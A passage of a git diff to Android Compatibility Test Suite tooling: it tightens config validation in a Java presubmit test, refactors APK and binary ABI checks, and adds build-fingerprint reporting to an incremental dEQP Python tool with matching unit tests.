+        Set<File> listConfigs = FileUtil.findFilesObject(testcases, ".*\\.config");
+        assertTrue(listConfigs.size() > 0);
         // Create a FolderBuildInfo to similate the CompatibilityBuildProvider
         FolderBuildInfo stubFolder = new FolderBuildInfo("-1", "-1");
         stubFolder.setRootDir(new File(ctsRoot));
         stubFolder.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "CTS");
         stubFolder.addBuildAttribute("ROOT_DIR", ctsRoot);
-        TestInformation stubTestInfo = TestInformation.newBuilder().build();
+        TestInformation stubTestInfo = TestInformation.newBuilder()
+                .setInvocationContext(new InvocationContext()).build();
         stubTestInfo.executionFiles().put(FilesKey.TESTS_DIRECTORY, new File(ctsRoot));
 
         List<String> missingMandatoryParameters = new ArrayList<>();
         // We expect to be able to load every single config in testcases/
-        for (File config : listConfig) {
+        for (File config : listConfigs) {
             IConfiguration c = ConfigurationFactory.getInstance()
                     .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
-            // Ensure the deprecated ApkInstaller is not used anymore.
-            for (ITargetPreparer prep : c.getTargetPreparers()) {
-                if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
-                    throw new ConfigurationException(
-                            String.format("%s: Use com.android.tradefed.targetprep.suite."
-                                    + "SuiteApkInstaller instead of com.android.compatibility."
-                                    + "common.tradefed.targetprep.ApkInstaller, options will be "
-                                    + "the same.", config));
+            if (c.getDeviceConfig().size() > 2) {
+                throw new ConfigurationException(String.format("%s declares more than 2 devices.", config));
+            }
+            int deviceCount = 0;
+            for (IDeviceConfiguration dConfig : c.getDeviceConfig()) {
+                // Ensure the deprecated ApkInstaller is not used anymore.
+                for (ITargetPreparer prep : dConfig.getTargetPreparers()) {
+                    if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
+                        throw new ConfigurationException(
+                                String.format("%s: Use com.android.tradefed.targetprep.suite."
+                                        + "SuiteApkInstaller instead of com.android.compatibility."
+                                        + "common.tradefed.targetprep.ApkInstaller, options will be "
+                                        + "the same.", config));
+                    }
+                    if (prep.getClass().isAssignableFrom(PreconditionPreparer.class)) {
+                        throw new ConfigurationException(
+                                String.format(
+                                        "%s: includes a PreconditionPreparer (%s) which is not "
+                                                + "allowed in modules.",
+                                        config.getName(), prep.getClass()));
+                    }
+                    if (prep.getClass().isAssignableFrom(DeviceSetup.class)) {
+                       DeviceSetup deviceSetup = (DeviceSetup) prep;
+                       if (!deviceSetup.isForceSkipSystemProps()) {
+                           throw new ConfigurationException(
+                                   String.format("%s: %s needs to be configured with "
+                                           + "<option name=\"force-skip-system-props\" "
+                                           + "value=\"true\" /> in CTS.",
+                                                 config.getName(), prep.getClass()));
+                       }
+                    }
+                    if (prep.getClass().isAssignableFrom(PythonVirtualenvPreparer.class)) {
+                        // Ensure each modules has a tracking bug to be imported.
+                        checkPythonModules(config, deviceCount);
+                    }
                 }
-                if (prep.getClass().isAssignableFrom(PreconditionPreparer.class)) {
-                    throw new ConfigurationException(
-                            String.format(
-                                    "%s: includes a PreconditionPreparer (%s) which is not allowed"
-                                            + " in modules.",
-                                    config.getName(), prep.getClass()));
-                }
+                deviceCount++;
             }
             // We can ensure that Host side tests are not empty.
             for (IRemoteTest test : c.getTests()) {
@@ -251,6 +275,13 @@
                                         config.getName(), test));
                     }
                 }
+                if (test instanceof GTest) {
+                    if (((GTest) test).isRebootBeforeTestEnabled()) {
+                        throw new ConfigurationException(String.format(
+                                "%s: instead of reboot-before-test use a RebootTargetPreparer "
+                                + "which is more optimized during sharding.", config.getName()));
+                    }
+                }
                 // Tests are expected to implement that interface.
                 if (!(test instanceof ITestFilterReceiver)) {
                     throw new IllegalArgumentException(String.format(
@@ -272,6 +303,7 @@
                     }
                 }
             }
+
             ConfigurationDescriptor cd = c.getConfigurationDescription();
             Assert.assertNotNull(config + ": configuration descriptor is null", cd);
             List<String> component = cd.getMetaData(METADATA_COMPONENT);
@@ -393,4 +425,22 @@
         }
         return families;
     }
+
+    /**
+     * For each usage of python virtualenv preparer, make sure we have tracking bugs to import as
+     * source the python libs.
+     */
+    private void checkPythonModules(File config, int deviceCount)
+            throws IOException, ConfigurationException {
+        if (deviceCount != 0) {
+            throw new ConfigurationException(
+                    String.format("%s: PythonVirtualenvPreparer should only be declared for "
+                            + "the first <device> tag in the config", config.getName()));
+        }
+        if (!TODO_BUG_PATTERN.matcher(FileUtil.readStringFromFile(config)).matches()) {
+            throw new ConfigurationException(
+                    String.format("%s: Contains some virtualenv python lib usage but no "
+                            + "tracking bug to import them as source.", config.getName()));
+        }
+    }
 }
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 096db55a..4361117 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -22,23 +22,24 @@
 import com.android.tradefed.testtype.suite.TestSuiteInfo;
 import com.android.tradefed.util.AaptParser;
 import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
 import java.io.File;
-import java.io.FilenameFilter;
-import java.util.Arrays;
+import java.io.IOException;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Map.Entry;
+import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.Set;
+import java.util.stream.Collectors;
 
 /**
  * Tests to validate that the build is containing usable test artifact.
@@ -81,23 +82,31 @@
          * and embed native libraries.
          */
         APK_EXCEPTIONS.add("CtsExtractNativeLibsAppFalse64");
+
+        /**
+         * These apks are prebuilts needed for some tests
+         */
+        APK_EXCEPTIONS.add("CtsApkVerityTestAppPrebuilt");
+        APK_EXCEPTIONS.add("CtsApkVerityTestApp2Prebuilt");
+
+        /**
+         * Data apk used by SimpleperfTestCases
+         */
+        APK_EXCEPTIONS.add("base");
     }
 
     private static final Set<String> BINARY_EXCEPTIONS = new HashSet<>();
     static {
         /**
-         * Tests that build for either 32 bit or 64 bit only.
-         */
-        BINARY_EXCEPTIONS.add("CVE-2017-0684" + "32");
-        BINARY_EXCEPTIONS.add("CVE_2019_2135" + "64");
-        BINARY_EXCEPTIONS.add("CVE-2020-0037" + "64");
-        BINARY_EXCEPTIONS.add("CVE-2020-0038" + "64");
-        BINARY_EXCEPTIONS.add("CVE-2020-0039" + "64");
-
-        /**
-         * This binary is a host side helper, so we do not need to check it.
+         * These binaries are host side helpers, so we do not need to check them.
          */
         BINARY_EXCEPTIONS.add("sepolicy-analyze");
+        BINARY_EXCEPTIONS.add("avbtool");
+        BINARY_EXCEPTIONS.add("img2simg");
+        BINARY_EXCEPTIONS.add("lpmake");
+        BINARY_EXCEPTIONS.add("lpunpack");
+        BINARY_EXCEPTIONS.add("sign_virt_apex");
+        BINARY_EXCEPTIONS.add("simg2img");
     }
 
     private static final String BINARY_EXCEPTIONS_REGEX [] = {
@@ -124,26 +133,22 @@
      * the two abis required and the second one will fail.
      */
     @Test
-    public void testApksAbis() {
+    public void testApksAbis() throws IOException {
         String ctsRoot = System.getProperty("CTS_ROOT");
         File testcases = new File(ctsRoot, "/android-cts/testcases/");
         if (!testcases.exists()) {
             fail(String.format("%s does not exists", testcases));
             return;
         }
-        File[] listApks = testcases.listFiles(new FilenameFilter() {
-            @Override
-            public boolean accept(File dir, String name) {
-                for (String apk : APK_EXCEPTIONS) {
-                    if (name.startsWith(apk)) {
-                        return false;
+        Set<File> listApks = FileUtil.findFilesObject(testcases, ".*\\.apk");
+        listApks.removeIf(
+                a -> {for (String apk : APK_EXCEPTIONS) {
+                    if (a.getName().startsWith(apk)) {
+                        return true;
                     }
                 }
-
-                return name.endsWith(".apk");
-            }
-        });
-        assertTrue(listApks.length > 0);
+                return false;});
+        assertTrue(listApks.size() > 0);
         int maxAbi = 0;
         Map<String, Integer> apkToAbi = new HashMap<>();
 
@@ -168,15 +173,22 @@
                 List<String> supportedAbiApk = result.getNativeCode();
                 Set<String> buildTarget = AbiUtils.getAbisForArch(
                         TestSuiteInfo.getInstance().getTargetArchs().get(0));
-                // first check, all the abis are supported
-                for (String abi : supportedAbiApk) {
-                    if (!buildTarget.contains(abi)) {
+                // first check, all the abis in the buildTarget are supported
+                for (String abiBT : buildTarget) {
+                    Boolean findMatch = false;
+                    for (String abiApk : supportedAbiApk) {
+                        if (abiApk.equals(abiBT)) {
+                            findMatch = true;
+                            break;
+                        }
+                    }
+                    if (!findMatch) {
                         fail(String.format("apk %s %s does not support our abis [%s]",
                                 testApk.getName(), supportedAbiApk, buildTarget));
                     }
                 }
                 apkToAbi.put(testApk.getName(), supportedAbiApk.size());
-                maxAbi = Math.max(maxAbi, supportedAbiApk.size());
+                maxAbi = Math.max(maxAbi, buildTarget.size());
             }
         }
 
@@ -196,45 +208,55 @@
      * If there is only one bitness, then we check that it's the right one.
      */
     @Test
-    public void testBinariesAbis() {
+    public void testBinariesAbis() throws IOException {
         String ctsRoot = System.getProperty("CTS_ROOT");
         File testcases = new File(ctsRoot, "/android-cts/testcases/");
         if (!testcases.exists()) {
             fail(String.format("%s does not exist", testcases));
             return;
         }
-        String[] listBinaries = testcases.list(new FilenameFilter() {
-            @Override
-            public boolean accept(File dir, String name) {
+        Set<File> listBinaries = FileUtil.findFilesObject(testcases, ".*");
+        listBinaries.removeIf(f -> {
+                String name = f.getName();
                 if (name.contains(".")) {
-                    return false;
+                    return true;
                 }
                 if (BINARY_EXCEPTIONS.contains(name)) {
-                    return false;
+                    return true;
                 }
                 for (String suffixException : BINARY_SUFFIX_EXCEPTIONS) {
                     if (name.endsWith(suffixException)) {
-                        return false;
+                        return true;
                     }
                 }
-                File file = new File(dir, name);
-                if (file.isDirectory()) {
-                    return false;
+                if (f.isDirectory()) {
+                    return true;
                 }
-                if (!file.canExecute()) {
-                    return false;
+                if (!f.canExecute()) {
+                    return true;
+                }
+                try {
+                    // Ignore python binaries
+                    String content = FileUtil.readStringFromFile(f);
+                    if (content.startsWith("#!/usr/bin/env python")) {
+                        return true;
+                    }
+                    if (content.contains("mobly/__init__.py")) {
+                        return true;
+                    }
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
                 }
                 for(String pattern: BINARY_EXCEPTIONS_REGEX) {
                     Matcher matcher = Pattern.compile(pattern).matcher(name);
                     if (matcher.matches()) {
-                        return false;
+                        return true;
                     }
                 }
-                return true;
-            }
+                return false;
         });
-        assertTrue(listBinaries.length > 0);
-        List<String> orderedList = Arrays.asList(listBinaries);
+        assertTrue(listBinaries.size() > 0);
+        List<String> orderedList = listBinaries.stream().map(f->f.getName()).collect(Collectors.toList());
         // we sort to have binary starting with same name, next to each other. The last two
         // characters of their name with be the bitness (32 or 64).
         Collections.sort(orderedList);
diff --git a/tools/incremental-cts/abstract_build_file_handler.py b/tools/incremental-cts/abstract_build_file_handler.py
index da329a4..321deda 100644
--- a/tools/incremental-cts/abstract_build_file_handler.py
+++ b/tools/incremental-cts/abstract_build_file_handler.py
@@ -32,5 +32,15 @@
     Returns:
       A dictionary where key is file name and value is hash value of its content.
     """
-    raise NotImplementedError('You need to implement GetFileHash function.')
+    raise NotImplementedError('You need to implement get_file_hash function.')
 
+  def get_system_fingerprint(self):
+    """Get build fingerprint in SYSTEM partition.
+
+    Fingerprint format: $(BRAND)/$(PRODUCT)/$(DEVICE)/$(BOARD):
+    $(VERSION.RELEASE)/$(ID)/$(VERSION.INCREMENTAL):$(TYPE)/$(TAGS)
+
+    Returns:
+      String of build fingerprint.
+    """
+    raise NotImplementedError('You need to implement get_system_fingerprint function.')
diff --git a/tools/incremental-cts/custom_build_file_handler.py b/tools/incremental-cts/custom_build_file_handler.py
index 294c921..7065ed7 100644
--- a/tools/incremental-cts/custom_build_file_handler.py
+++ b/tools/incremental-cts/custom_build_file_handler.py
@@ -25,5 +25,9 @@
 
   def get_file_hash(self, file_names, hash_func=None):
     """See base class."""
-    raise NotImplementedError('You need to implement GetFileHash function.')
+    raise NotImplementedError('You need to implement get_file_hash function.')
+
+  def get_system_fingerprint(self):
+    """See base class."""
+    raise NotImplementedError('You need to implement get_system_fingerprint function.')
 
diff --git a/tools/incremental-cts/incremental_deqp.py b/tools/incremental-cts/incremental_deqp.py
index 3e39497..e77e892 100644
--- a/tools/incremental-cts/incremental_deqp.py
+++ b/tools/incremental-cts/incremental_deqp.py
@@ -34,6 +34,7 @@
 """
 import argparse
 import importlib
+import json
 import logging
 import os
 import pkgutil
@@ -69,6 +70,8 @@
                         '   <option name="plan" value="cts" />\n'
                         '</configuration>\n')
 
+REPORT_FILENAME = 'incremental_dEQP_report.json'
+
 logger = logging.getLogger()
 
 
@@ -115,6 +118,7 @@
       base_build_file: base build's file name.
     Returns:
       True if current build could skip dEQP, otherwise False.
+      Dictionary of changed dependencies and their details.
     """
     print('Comparing base build and current build...')
     current_build_handler = self._build_file_handler(current_build_file)
@@ -138,6 +142,7 @@
       base_build_file: base build file name.
     Returns:
       True if current build could skip dEQP, otherwise False.
+      Dictionary of changed dependencies and their details.
     """
     print('Comparing base build and current build on the device...')
     # Get current build's hash.
@@ -151,6 +156,14 @@
 
     return self._compare_build_hash(current_build_hash, base_build_hash)
 
+  def get_system_fingerprint(self, build_file):
+    """Get build fingerprint in SYSTEM partition.
+
+    Returns:
+      String of build fingerprint.
+    """
+    return self._build_file_handler(build_file).get_system_fingerprint()
+
 
   def _compare_build_hash(self, current_build_hash, base_build_hash):
     """Compare the hash value of current build and base build.
@@ -159,21 +172,28 @@
       current_build_hash: map of current build where key is file name, and value is content hash.
       base_build_hash: map of base build where key is file name and value is content hash.
     Returns:
-      boolean about if two builds' hash is the same.
+      Boolean about if two builds' hash is the same.
+      Dictionary of changed dependencies and their details.
     """
+    changes = {}
     if current_build_hash == base_build_hash:
       print('Done!')
-      return True
+      return True, changes
 
     for key, val in current_build_hash.items():
       if key not in base_build_hash:
-        logger.info('File:{build_file} was not found in base build'.format(build_file=key))
+        detail = 'File:{build_file} was not found in base build'.format(build_file=key)
+        changes[key] = detail
+        logger.info(detail)
       elif base_build_hash[key] != val:
-        logger.info('Detected dEQP dependency file difference:{deps}. Base build hash:{base}, '
-                    'current build hash:{current}'.format(deps=key, base=base_build_hash[key],
-                                                          current=val))
+        detail = ('Detected dEQP dependency file difference:{deps}. Base build hash:{base}, '
+                  'current build hash:{current}'.format(deps=key, base=base_build_hash[key],
+                                                        current=val))
+        changes[key] = detail
+        logger.info(detail)
+
     print('Done!')
-    return False
+    return False, changes
 
 
 class AdbHelper(object):
@@ -219,6 +239,10 @@
     """
     return self._run_adb_command('pull', source_file, destination_file)
 
+  def get_fingerprint(self):
+    """Get fingerprint of the device."""
+    return self._run_adb_command('shell', 'getprop ro.build.fingerprint').decode("utf-8").strip()
+
   def run_shell_command(self, command):
     """Run a adb shell command.
 
@@ -227,6 +251,7 @@
     """
     return self._run_adb_command('shell', command)
 
+
 class DeqpDependencyCollector(object):
   """Collect dEQP dependency from device under test."""
 
@@ -396,7 +421,6 @@
     test_list = ['vk-32', 'vk-64', 'gles3-32', 'gles3-64']
 
     # Clean up the device.
-    self._adb.run_shell_command('rm -rRf ' + device_deqp_dir + '/*')
     self._adb.run_shell_command('mkdir -p ' + device_deqp_out_dir)
 
     # Copy test resources to device.
@@ -465,10 +489,12 @@
   parser.add_argument('--generate_deps_only', action='store_true',
                       help=('Run test and generate dEQP dependency list only '
                             'without comparing build.'))
-  parser.add_argument('--ats_mode', action='store_true',
-                      help=('Run incremental dEQP with Android Test Station.'))
   parser.add_argument('--custom_handler', action='store_true',
                       help='Use custome build file handler')
+  parser.add_argument('--ats_mode', action='store_true',
+                      help=('Run incremental dEQP with Android Test Station.'))
+  parser.add_argument('--userdebug_build', action='store_true',
+                      help=('ATS mode option. Current build on device is userdebug.'))
   return parser
 
 def _create_logger(log_file_name):
@@ -498,6 +524,36 @@
       f.write(dep+'\n')
   return file_name
 
+def _generate_report(
+    report_name,
+    base_build_fingerprint,
+    current_build_fingerprint,
+    deqp_deps,
+    extra_deqp_deps,
+    deqp_deps_changes):
+  """Generate a json report.
+
+  Args:
+    report_name: absolute file name of report.
+    base_build_fingerprint: fingerprint of the base build.
+    current_build_fingerprint: fingerprint of the current build.
+    deqp_deps: list of dEQP dependencies generated by the tool.
+    extra_deqp_deps: list of extra dEQP dependencies.
+    deqp_deps_changes: dictionary of dependency changes.
+  """
+  data = {}
+  data['base_build_fingerprint'] = base_build_fingerprint
+  data['current_build_fingerprint'] = current_build_fingerprint
+  data['deqp_deps'] = sorted(list(deqp_deps))
+  data['extra_deqp_deps'] = sorted(list(extra_deqp_deps))
+  data['deqp_deps_changes'] = deqp_deps_changes
+
+  with open(report_name, 'w') as f:
+    json.dump(data, f, indent=4)
+
+  print('Incremental dEQP report is generated at: ' + report_name)
+
+
 def _local_run(args, work_dir):
   """Run incremental dEQP locally.
 
@@ -529,9 +585,9 @@
 
   dependency_collector = DeqpDependencyCollector(work_dir, test_dir, adb)
   deqp_deps = dependency_collector.get_deqp_dependency()
-  deqp_deps.update(extra_deqp_deps)
+  aggregated_deqp_deps = deqp_deps.union(extra_deqp_deps)
 
-  deqp_deps_file_name = _save_deqp_deps(deqp_deps,
+  deqp_deps_file_name = _save_deqp_deps(aggregated_deqp_deps,
                                         os.path.join(work_dir, 'dEQP-dependency.txt'))
   print('dEQP dependency list has been generated in: ' + deqp_deps_file_name)
 
@@ -539,13 +595,13 @@
     return
 
   # Compare the build difference with dEQP dependency
-  valid_deqp_deps = [dep for dep in deqp_deps if _is_deqp_dependency(dep)]
+  valid_deqp_deps = [dep for dep in aggregated_deqp_deps if _is_deqp_dependency(dep)]
   build_helper = BuildHelper(args.custom_handler)
   if args.current_build:
-    skip_dEQP = build_helper.compare_base_build_with_current_build(
+    skip_dEQP, changes = build_helper.compare_base_build_with_current_build(
         valid_deqp_deps, args.current_build, args.base_build)
   else:
-    skip_dEQP = build_helper.compare_base_build_with_device_files(
+    skip_dEQP, changes = build_helper.compare_base_build_with_device_files(
         valid_deqp_deps, adb, args.base_build)
   if skip_dEQP:
     print('Congratulations, current build could skip dEQP test.\n'
@@ -555,6 +611,13 @@
     print('Sorry, current build can\'t skip dEQP test because dEQP dependency has been '
           'changed.\nPlease check logs for more details.')
 
+  _generate_report(os.path.join(work_dir, REPORT_FILENAME),
+                   build_helper.get_system_fingerprint(args.base_build),
+                   adb.get_fingerprint(),
+                   deqp_deps,
+                   extra_deqp_deps,
+                   changes)
+
 def _generate_cts_xml(out_dir, content):
   """Generate cts configuration for Android Test Station.
 
@@ -589,9 +652,9 @@
   dependency_collector = DeqpDependencyCollector(work_dir,
                                                  os.path.join(work_dir, 'test_resources'), adb)
   deqp_deps = dependency_collector.get_deqp_dependency()
-  deqp_deps.update(extra_deqp_deps)
+  aggregated_deqp_deps = deqp_deps.union(extra_deqp_deps)
 
-  deqp_deps_file_name = _save_deqp_deps(deqp_deps,
+  deqp_deps_file_name = _save_deqp_deps(aggregated_deqp_deps,
                                         os.path.join(work_dir, 'dEQP-dependency.txt'))
 
   if args.generate_deps_only:
@@ -599,15 +662,32 @@
     return
 
   # Compare the build difference with dEQP dependency
+  valid_deqp_deps = [dep for dep in aggregated_deqp_deps if _is_deqp_dependency(dep)]
+
   # base build target file is from test resources.
   base_build_target = os.path.join(work_dir, 'base_build_target_files')
-  build_helper = BuildHelper(base_build_target, deqp_deps)
-  skip_dEQP = build_helper.compare_build(adb)
+  build_helper = BuildHelper(args.custom_handler)
+  if args.userdebug_build:
+    current_build_fingerprint = adb.get_fingerprint()
+    skip_dEQP, changes = build_helper.compare_base_build_with_device_files(
+        valid_deqp_deps, adb, base_build_target)
+  else:
+    current_build_target = os.path.join(work_dir, 'current_build_target_files')
+    current_build_fingerprint = build_helper.get_system_fingerprint(current_build_target)
+    skip_dEQP, changes = build_helper.compare_base_build_with_current_build(
+        valid_deqp_deps, current_build_target, base_build_target)
   if skip_dEQP:
     _generate_cts_xml(work_dir, INCREMENTAL_DEQP_XML)
   else:
     _generate_cts_xml(work_dir, DEFAULT_CTS_XML)
 
+  _generate_report(os.path.join(*[work_dir, 'logs', REPORT_FILENAME]),
+                   build_helper.get_system_fingerprint(base_build_target),
+                   current_build_fingerprint,
+                   deqp_deps,
+                   extra_deqp_deps,
+                   changes)
+
 def main():
   parser = _get_parser()
   args = parser.parse_args()
@@ -619,7 +699,7 @@
   log_file_name = ''
   if args.ats_mode:
     work_dir = os.getenv('TF_WORK_DIR')
-    log_file_name = os.path.join('/data/tmp', 'incremental-deqp-log-'+str(uuid.uuid4()))
+    log_file_name = os.path.join(*[work_dir, 'logs', 'incremental-deqp-log-'+str(uuid.uuid4())])
   else:
     work_dir = tempfile.mkdtemp(prefix='incremental-deqp-'
                                 + time.strftime("%Y%m%d-%H%M%S"))
diff --git a/tools/incremental-cts/incremental_deqp_test.py b/tools/incremental-cts/incremental_deqp_test.py
index 6786c30..eedcc88 100644
--- a/tools/incremental-cts/incremental_deqp_test.py
+++ b/tools/incremental-cts/incremental_deqp_test.py
@@ -99,7 +99,7 @@
     adb = incremental_deqp.AdbHelper()
     adb.run_shell_command = MagicMock(side_effect=side_effect)
     self.assertTrue(build_helper.compare_base_build_with_device_files(
-        deqp_deps, adb, base_build_file))
+        deqp_deps, adb, base_build_file)[0])
 
   def test_compare_build_with_device_files_false(self):
     """Test BuildHelper.compare_base_build_with_device_files returns false."""
@@ -115,7 +115,7 @@
     adb = incremental_deqp.AdbHelper()
     adb.run_shell_command = MagicMock(side_effect=side_effect)
     self.assertFalse(build_helper.compare_base_build_with_device_files(
-        deqp_deps, adb, base_build_file))
+        deqp_deps, adb, base_build_file)[0])
 
   def test_build_helper_compare_build_with_current_build_true(self):
     """Test BuildHelper.compare_base_build_with_current_build returns true."""
@@ -124,7 +124,7 @@
     base_build_file = './testdata/base_build_target-files.zip'
 
     self.assertTrue(build_helper.compare_base_build_with_current_build(
-        deqp_deps, base_build_file, base_build_file))
+        deqp_deps, base_build_file, base_build_file)[0])
 
   def test_build_helper_compare_build_with_current_build_false(self):
     """Test BuildHelper.compare_base_build_with_current_build returns false."""
@@ -134,7 +134,16 @@
     current_build_file = './testdata/current_build_target-files.zip'
 
     self.assertFalse(build_helper.compare_base_build_with_current_build(
-        deqp_deps, current_build_file, base_build_file))
+        deqp_deps, current_build_file, base_build_file)[0])
+
+  def test_build_helper_get_system_fingerprint(self):
+    """Test BuildHelper gets system fingerprint."""
+    build_helper = incremental_deqp.BuildHelper()
+    build_file = './testdata/base_build_target-files.zip'
+
+    self.assertEqual(('generic/aosp_cf_x86_64_phone/vsoc_x86_64:S/AOSP.MASTER/7363308:'
+                      'userdebug/test-keys'), build_helper.get_system_fingerprint(build_file))
+
 
   @patch('incremental_deqp.BuildHelper', autospec=True)
   @patch('incremental_deqp._save_deqp_deps', autospec=True)
@@ -155,19 +164,22 @@
     with self.assertRaises(incremental_deqp.TestResourceError):
       incremental_deqp._local_run(args, '')
 
+  @patch('incremental_deqp._generate_report', autospec=True)
   @patch('incremental_deqp.BuildHelper', autospec=True)
   @patch('incremental_deqp._save_deqp_deps', autospec=True)
   @patch('incremental_deqp.DeqpDependencyCollector', autospec=True)
   @patch('incremental_deqp.AdbHelper', autospec=True)
   def test_local_run_compare_build(self, adb_helper_mock, dependency_collector_mock,
-                                   save_deps_mock, build_helper_mock):
+                                   save_deps_mock, build_helper_mock, generate_report_mock):
     """Test local_run could compare build based on dependency."""
     dependency_collector_mock.return_value.get_deqp_dependency.return_value = {'a.so'}
+    build_helper_mock.return_value.compare_base_build_with_device_files.return_value = [False, {}]
     args = self.parser.parse_args(['-b', 'base_build', '-t', self.testdata_dir])
+
     incremental_deqp._local_run(args, '')
+
     save_deps_mock.assert_called_once_with({'a.so', 'extra_a.so'}, 'dEQP-dependency.txt')
     build_helper_mock.assert_called_once_with(False)
 
-
 if __name__ == '__main__':
   unittest.main()
diff --git a/tools/incremental-cts/target_file_handler.py b/tools/incremental-cts/target_file_handler.py
index 00eb297..69189e6 100644
--- a/tools/incremental-cts/target_file_handler.py
+++ b/tools/incremental-cts/target_file_handler.py
@@ -41,3 +41,16 @@
           else:
             hash_dict[file_name] = hash(f.read())
     return hash_dict
+
+  def get_system_fingerprint(self):
+    """See base class."""
+    fingerprint = ''
+    with ZipFile(self.build_file) as zip_file:
+      with zip_file.open('SYSTEM/build.prop') as build_prop:
+        for line in build_prop:
+          line = line.decode('UTF-8')
+          if 'build.fingerprint' not in line:
+            continue
+          fingerprint = line.split('=')[1].strip()
+          break
+    return fingerprint
diff --git a/tools/incremental-cts/target_file_handler_test.py b/tools/incremental-cts/target_file_handler_test.py
index 3db6c81..e89a1ad 100644
--- a/tools/incremental-cts/target_file_handler_test.py
+++ b/tools/incremental-cts/target_file_handler_test.py
@@ -21,7 +21,7 @@
 
 class BuildFileHandlerTest(unittest.TestCase):
 
-  def test_target_file_handler_get_hash(self):
+  def test_get_hash(self):
     """Test TargetFileHandler could get hash from target file."""
     build_file = './testdata/base_build_target-files.zip'
     handler = TargetFileHandler(build_file)
@@ -35,5 +35,20 @@
                      hash(b'placeholder\nplaceholder\nplaceholder\n\n'))
     self.assertEqual(len(hash_dict), 2)
 
+  def test_get_system_fingerprint(self):
+    """Test TargetFileHandler could get SYSTEM fingerprint from target file."""
+    build_file = './testdata/base_build_target-files.zip'
+    handler = TargetFileHandler(build_file)
+    self.assertEqual(('generic/aosp_cf_x86_64_phone/vsoc_x86_64:S/AOSP.MASTER/7363308:'
+                      'userdebug/test-keys'), handler.get_system_fingerprint())
+
+  def test_get_system_fingerprint_without_buildprop(self):
+    """Test TargetFileHandler get fingerprint raises exception if build.prop doesn't exist."""
+    build_file = './testdata/current_build_target-files.zip'
+    handler = TargetFileHandler(build_file)
+    with self.assertRaises(KeyError):
+      handler.get_system_fingerprint()
+
+
 if __name__ == '__main__':
   unittest.main()
diff --git a/tools/incremental-cts/testdata/base_build_target-files.zip b/tools/incremental-cts/testdata/base_build_target-files.zip
index 1255d5b..077a3f1 100644
--- a/tools/incremental-cts/testdata/base_build_target-files.zip
+++ b/tools/incremental-cts/testdata/base_build_target-files.zip
Binary files differ
diff --git a/tools/manifest-generator/Android.bp b/tools/manifest-generator/Android.bp
index e612335..d1c33426 100644
--- a/tools/manifest-generator/Android.bp
+++ b/tools/manifest-generator/Android.bp
@@ -16,7 +16,7 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-java_library_host {
+java_binary_host {
     name: "compatibility-manifest-generator",
 
     srcs: ["src/**/*.java"],
diff --git a/tools/release-parser/tests/resources/platform.xml b/tools/release-parser/tests/resources/platform.xml
index 5895f77..878cf1a 100644
--- a/tools/release-parser/tests/resources/platform.xml
+++ b/tools/release-parser/tests/resources/platform.xml
@@ -192,11 +192,11 @@
     <library name="org.apache.http.legacy"
             file="/system/framework/org.apache.http.legacy.boot.jar" />
 
-    <!-- These are the standard packages that are white-listed to always have internet
+    <!-- These are the standard packages that are allow-listed to always have internet
          access while in power save mode, even if they aren't in the foreground. -->
     <allow-in-power-save package="com.android.providers.downloads" />
 
-    <!-- These are the standard packages that are white-listed to always have internet
+    <!-- These are the standard packages that are allow-listed to always have internet
          access while in data mode, even if they aren't in the foreground. -->
     <allow-in-data-usage-save package="com.android.providers.downloads" />
 
@@ -204,7 +204,7 @@
     <allow-in-power-save package="com.android.cellbroadcastreceiver" />
     <allow-in-power-save package="com.android.shell" />
 
-    <!-- Whitelist system providers -->
+    <!-- Allowlist system providers -->
     <allow-in-power-save-except-idle package="com.android.providers.calendar" />
     <allow-in-power-save-except-idle package="com.android.providers.contacts" />
 </permissions>
diff --git a/tools/selinux/Android.bp b/tools/selinux/Android.bp
new file mode 100644
index 0000000..1339557
--- /dev/null
+++ b/tools/selinux/Android.bp
@@ -0,0 +1,55 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+python_library_host {
+    name: "SELinuxNeverallowTestFrame",
+    srcs: ["SELinuxNeverallowTestFrame.py"],
+}
+
+python_binary_host {
+    name: "SELinuxNeverallowTestGen",
+    srcs: ["SELinuxNeverallowTestGen.py"],
+    libs: ["SELinuxNeverallowTestFrame"],
+}
+
+sh_test_host {
+    name: "seamendc-test",
+    src: "seamendc-test.sh",
+    data_bins: [
+        "seamendc",
+        "secilc",
+        "searchpolicy",
+    ],
+    data: [
+        ":sepolicy-cil-files",
+        ":libsepolwrap",
+    ],
+}
+
+filegroup {
+    name: "sepolicy-cil-files",
+    srcs: [
+        ":plat_sepolicy.cil",
+        ":plat_pub_versioned.cil",
+        ":system_ext_sepolicy.cil",
+        ":product_sepolicy.cil",
+        ":vendor_sepolicy.cil",
+        ":odm_sepolicy.cil",
+    ],
+}
diff --git a/tools/selinux/SELinuxNeverallowTestFrame.py b/tools/selinux/SELinuxNeverallowTestFrame.py
index 370b40b..5f9f768 100644
--- a/tools/selinux/SELinuxNeverallowTestFrame.py
